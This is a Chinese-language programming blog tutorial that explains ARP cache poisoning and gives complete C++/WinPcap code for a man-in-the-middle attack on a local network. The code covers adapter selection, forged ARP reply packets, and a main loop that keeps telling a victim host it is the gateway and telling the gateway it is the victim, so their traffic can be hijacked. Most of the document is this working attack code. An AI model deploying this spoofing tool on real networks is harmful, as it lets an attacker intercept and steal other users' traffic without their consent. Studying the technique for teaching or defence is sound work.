【网络编程4】网络编程基础-ARP响应(ARP欺骗之中间人攻击)
2016-12-17 23:01
375 查看
arp欺骗->arp响应
ARP 缓存中毒(ARP欺骗)
arp传送原理在于主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间。攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。
arp欺骗之所以有效,是因为特意构造的ARP数据包使两台主机相信它们是在互相通信,而实际上它们是在与一个中间转发数据包的第三方通信。
C++编程中实现操作arp数据包发送给被欺者主机和网关的操作可以通过winpacap这个第三方库对数据包构造和发送,可以使被欺骗主机误以为自己是在与网关通信,网关误以为自己是在跟被欺骗主机通信,而攻击者可以从中截获被欺骗主机的数据,实现中间人攻击。
Winpcap简介
winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它用于windows系统下的直接的网络编程。Winpcap 功能
捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据包;在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉;
在网络上发送原始的数据包;
收集网络通信过程中的统计信息。
VS2015配置Winpcap
使用之前需要在VS2015配置项目的依赖,否则很多东西跑不起来。1、添加包含与库目录
在库目录中选择安装好的WinCap目录下的Lib目录:选择VC++目录,在包含目录中添加安装好的WinCap目录下的include目录:
在库目录中选择安装好的WinCap目录下的Lib目录:
2 附加依赖项
在连接器下选择输入,在附加依赖项中添加ws2_32.lib、wpcap.lib、Packet.lib:3 预处理器定义
项目右键,选择属性选择C/C++->预处理器,在预处理器定义中添加WPCAP和HAVE_REMOTE,如图:编程实例代码
1 首先获取网卡列表
做arp发送数据包前首先要确定在哪个网卡适配器上做相关的操作;初始化函数中涉及到以下几个函数的使用,以下是几个函数的功能和说明:
int pcap_findalldevs(pcap_if_t **, char *)
说明:用来获得网卡的列表
参数: 指向pcap_if_t**类型的列表的指针的指针;
char型指针,当打开列表错误时返回错误信息
返回值: 为int型,当显示列表失败时返回-1
pcap_if_t 是pcap_if 重命名而来:
typedef struct pcap_if pcap_if_t;
pcap_if结构体如下:
struct pcap_if { struct pcap_if *next; /*多个网卡时使用来显示各个网卡的信息*/ char *name; /* name to hand to "pcap_open_live()" */ char *description; /* textual description of interface, or NULL 就是网卡的型号、名字等*/ struct pcap_addr *addresses; /*pcap_addr 结构体 */ bpf_u_int32 flags; /* PCAP_IF_ interface flags 接口标志*/ };
pcap_addr 结构体如下:
struct pcap_addr { struct pcap_addr *next; struct sockaddr *addr; /* address */ struct sockaddr *netmask; /* netmask for that address 子网掩码*/ struct sockaddr *broadaddr; /* broadcast address for that address 广播地址*/ struct sockaddr *dstaddr; /* P2P destination address for that address P2P目的地址*/ };
pcap_t pcap_open_live(const char device, int snaplen, int promisc, int to_ms, char ebuf *)
说明:被用来得到一个包抓取得描述符
参数:
device是一个指出要抓取的网络设备的字符串。
snaplen指明最大可抓取的字节长度。
promisc置位表明该接口要被设置成混杂模式。
to_ms以毫秒为单位设置超时时间。当在超时时间内网卡上没有数据到来时对网卡的读操作将返回(如 pcap_dispatch() or pcap_next_ex()等函数)。
ebuf被用来存放当pcap_open_live()调用失败时,返回的错误字符串。
返回值: pcap_t型的指针,供pcap_dispatch() or
pcap_next_ex()等函数调用。
pcap_t的结构体:
struct pcap { #ifdef WIN32 ADAPTER *adapter; LPPACKET Packet; int timeout; int nonblock; #else int fd; #endif int snapshot; int linktype; int tzoff; /* timezone offset */ int offset; /* offset for proper alignment */ struct pcap_sf sf; struct pcap_md md; int bufsize; /* Read buffer. */ u_char *buffer; u_char *bp; int cc; //Place holder for pcap_next(). u_char *pkt; //Placeholder for filter code if bpf not in kernel. struct bpf_program fcode; char errbuf[PCAP_ERRBUF_SIZE + 1]; int dlt_count; int *dlt_list; #ifdef REMOTE /*! \brief '1' if we're the network client; needed by several functions (like pcap_setfilter() ) to know if they have to use the socket or they have to open the local adapter. */ int rmt_clientside; SOCKET rmt_sockctrl; //!< socket ID of the socket used for the control connection SOCKET rmt_sockdata; //!< socket ID of the socket used for the data connection pthread_t rmt_threaddata; //!< handle to the receiving thread, we need to kill it in case of 'pcap_clos()' int rmt_flags; //!< we have to save flags, since they are passed by the pcap_open_live(), but they are used by the pcap_start capture() int rmt_capstarted; //!< 'true' if the capture is already started (needed to knoe if we have to call the pcap_startcapture() struct pcap_pkthdr pcap_header; //!< In Linux, you have to copy the packet headers another time before giving them to the user #endif };
void pcap_freealldevs(pcap_if_t *)
说明:与int pcap_findalldevs(pcap_if_t **, char *)配套使用,当不再需要网卡列表时,用此函数free释放空间
参数:打开网卡列表时申请的pcap_if_t型的指针,语法如下:
pcap_freealldevs(alldevs);
pcap_geterr()
返回最后一次pcap库错误的文本信息
获取设备名称
获得网卡接口。在普通的SOCKET编程中,对双网卡编程是不行的。即使当主机为双网卡时,也需要分别获得两张网卡各自的描述结构及地址,然后分别进行操作。
//获取网卡列表 pcap_t * init() { pcap_if_t *alldevs; pcap_if_t *d; int inum; int i = 0; //网卡数量 pcap_t *adhandle; char errbuf[PCAP_ERRBUF_SIZE]; /* Retrieve the device list */ //获取当前网卡列表 if (pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr, "Error in pcap_findalldevs: %s\n",errbuf); exit(1); } //打印网卡的列表 for (d = alldevs; d; d= d->next) { printf("%d. %s",++i,d->name); //如果有网卡就打印出来 if (d->description) { printf("(%s)\n ",d->description); } else { printf(" (No description available)\n "); } } if (i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return 0; } printf("Enter the interface number (1-%d):", i); scanf("%d", &inum); if (inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return 0; } //跳转到所选择的适配器 for (d = alldevs , i = 0; i<inum - 1 ; d = d->next,i++) //打开所选的网卡适配器 if ((adhandle = pcap_open_live(d->name, //适配器的名称 65535, //捕获的数据包的部分。 //65535是捕获所有流经的数据包,所有的数据包通过都产生端口 1, 1000, //读取超时时间 errbuf //错误缓存 )) == NULL) { fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return 0; } printf("\nlistening on %s...\n", d->description); /* At this point, we don't need any more the device list. Free it */ //当监控某个网卡适配器后,就释放其他的,因为用不到了 pcap_freealldevs(alldevs); return adhandle; }
定义数据结构体
根据ARP协议中的数据包写结构体,用于存放arp数据包的信息;
//作用:调整结构体的边界对齐,让其以一个字节对齐; #pragma pack(push, 1) //使结构体按1字节方式对齐 //以太网头部(14字节) #define EPT_IP 0x0800 // eh_type: IP #define EPT_ARP 0x0806 // eh_type: ARP #define EPT_RARP 0x8035 // eh_type: RARP typedef struct eh_hdr { UCHAR eh_dst[6]; // 接收方MAC地址 UCHAR eh_src[6]; // 发送方MAC地址 USHORT eh_type; // 上层协议类型 }EH_HEADR, *P_EH_HEADR; //arp应答/请求(28字节) #define ARP_HARDWARE 0x0001 // arp_hrd:以太网 #define ARP_REQUEST 0x0001 // arp_op: 请求 request #define ARP_REPLY 0x0002 // arp_op: 应答 reply typedef struct arp_hdr { USHORT arp_hrd; // 硬件类型 USHORT arp_pro; // 协议类型 UCHAR arp_hln; // 硬件(MAC)地址长度 UCHAR arp_pln; // 协议(IP )地址长度 USHORT arp_op; // 包类型:请求、应答 UCHAR arp_sha[6]; // 发送发硬件地址 (应答时,此处可欺骗) ULONG arp_spa; // 发送方协议地址 (应答时,此处可欺骗) UCHAR arp_tha[6]; // 接收方硬件地址 (请求时,此处无用) ULONG arp_tpa; // 接收方协议地址 }ARP_HEADR, *P_ARP_HEADR; //ARP协议栈 typedef struct arp_Packet { EH_HEADR ehhdr; ARP_HEADR arphdr; } ARP_PACKET, *P_ARP_PACKET;
初始化arp数据包信息
函数名称: makeArpPacket
函数功能: 初始化攻击者与被攻击者的数据包信息
参数列表:
ARP_PACKET & ARPPacket:
char * srcMac: 攻击者MAC
char * srcIP: 攻击者IP
char * dstMac: 被欺骗机器的MAC地址
char * dstIP 被欺骗机器的IP
返回值: void
makeArpPacket()函数主要的功能是为了让攻击者IP、MAC的处理代码能与被欺骗主机的代码定义数据结构然后复用代码,减少代码量。
void makeArpPacket(ARP_PACKET &ARPPacket,char * srcMac, char * srcIP, char * dstMac, char * dstIP) { UCHAR MacAddr[6] = { 0 }; //以太网头 ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst); //目的MAC地址 ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src); //源MAC地址。 ARPPacket.ehhdr.eh_type = htons(EPT_ARP); //数据类型ARP请求或应答 //ARP头 ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); //硬件地址为0x0001表示以太网地址 ARPPacket.arphdr.arp_pro = htons(EPT_IP); //协议类型字段为0x0800表示IP地址 ARPPacket.arphdr.arp_hln = 6; //硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度, ARPPacket.arphdr.arp_pln = 4; //以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。 ARPPacket.arphdr.arp_op = htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4 ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //发送方 源MAC地址(欺骗的MAC地址) ARPPacket.arphdr.arp_spa = inet_addr(srcIP); //发送方 源IP地址 (欺骗的MAC地址) ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目标的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr(dstIP); //目标的IP地址 } 将MAC地址转换十六进制 void ChangeMacAddr(char *p, UCHAR a[]) //把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址 { char* p1 = NULL; int i = 0; int high, low; char temp[1]; for (i = 0; i < 6; i++) { p1 = p + 1; switch (*p1) //计算低位的16进进制 { case 'A': low = 10; break; case 'B': low = 11; break; case 'C': low = 12; break; case 'D': low = 13; break; case 'E': low = 14; break; case 'F': low = 15; break; default: temp[0] = *p1; low = atoi(temp); //如果为数字就直接转变成对应的数值 } switch (*p) //计算高位的16进制 { case 'A': high = 10; break; case 'B': high = 11; break; case 'C': high = 12; break; case 'D': high = 13; break; case 'E': high = 14; break; case 'F': high = 15; break; default: temp[0] = *p; high = atoi(temp); //如果为数字就直接转变成对应的数值 } p += 2; //指针指向下一个X(高)X(低)字符串 a[i] = high * 16 + low; //求和得16进制值 } }
发送数据包
涉及到发送arp数据包的函数;
int pcap_sendpacket(pcap_t p, u_char buf, int size)
说明:手工发送一个数据包了。这个函数需要的参数:一个装有要发送数据的缓冲区,要发送的长度,和一个适配器。注意缓冲区中的数据将不被内核协议处理,只是作为最原始的数据流被发送,所以我们必须填充好正确的协议头以便正确的将数据发送。
参数:
p是打开网卡时返回的网卡指针
buf是发送数据包的内容缓冲区首地址
size是发送数据包的大小
void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket) { /* Send down the packet */ if (pcap_sendpacket(fp, // Adapter (const u_char *)&ARPPacket, // buffer with the packet sizeof(ARPPacket) // size ) != 0) { fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp)); return; } }
利用WinPcap,分别向被欺骗主机和网关发送APR请求包,达到同时欺骗目标主机和网关的目的;让所有目标主机和网关之间的数据都会被我们劫持。
main()函数代码
void pcap_close ( pcap_t * p )
关闭连接和释放资源的函数
主要的代码
int main(int argc, char* argv[]) { //1.初始化网络环境 pcap_t * adhandle = init(); //2.填充数据包 ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺骗目标 ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺骗网关 //00105CAD72E3 这个mac地址是攻击者的地址 //欺骗受害者,我是网关 makeArpPacket(ARPPacket_A, "00105CAD72E3", "192.168.1.1" , "00055DE80FA3", "192.168.1.31"); //欺骗网关,我是受害者 makeArpPacket(ARPPacket_B, "00105CAD72E3", "192.168.1.31", "000C29019827", "192.168.1.1"); while (true) { //3.发送数据包 sendArpPacket(adhandle, ARPPacket_A); sendArpPacket(adhandle, ARPPacket_B); printf("send OK ! \n"); Sleep(3000); } pcap_close(adhandle); return 0; }
参考连接:
WinpCap的详解
http://www.cnblogs.com/yingfang18/category/270376.html
WinPcap 模块 中文手册
http://www.ferrisxu.com/WinPcap/html/modules.html
winpcap编程函数介绍
http://www.voidcn.com/blog/xkjcf/article/p-5823189.html
基于WinPcap的ARP欺骗
http://hognfeiyu.me/2016/01/12/arp-attack/
arp 欺骗的技术原理及应用<首发于黑客防线2003年11期>
http://www.cppblog.com/mejy/articles/32901.html
相关文章推荐
- linux网络编程之TCP/IP基础(二):利用ARP和ICMP协议解释ping命令
- linux网络编程之TCP/IP基础(二):利用ARP和ICMP协议解释ping命令
- 二、Linux网络编程-TCP/IP基础(二)MTU、路径MTU、以太网帧格式、ICMP、ARP、RARP
- 【网络编程3】网络编程基础-arp请求(局域网主机扫描)
- 主机地址linux网络编程之TCP/IP基础(二):利用ARP和ICMP协议解释ping命令
- C#中使用异步Socket编程实现TCP网络服务的CS的通讯构架(一)----基础类库部分
- C#网络应用编程基础练习题与答案(1)
- 网络编程基础
- 网络编程基础
- 在C#中使用异步Socket编程实现TCP网络服务的C/S的通讯构架(一)----基础类库部分
- Java网络编程基础 Datagram类使用方法
- 网络编程基础(3)
- 在C#中使用异步Socket编程实现TCP网络服务的C/S的通讯构架(一)----基础类库部分
- Java网络编程基础 ServerSocket类使用
- Windows 网络编程基础(转贴)
- C#网络应用编程基础练习题与答案(一)
- 知识储备--.NET网络编程基础
- 在C#中使用异步Socket编程实现TCP网络服务的C/S的通讯构架(一)----基础类库部分
- c#网络编程基础
- Java套接字实现网络编程之基础篇1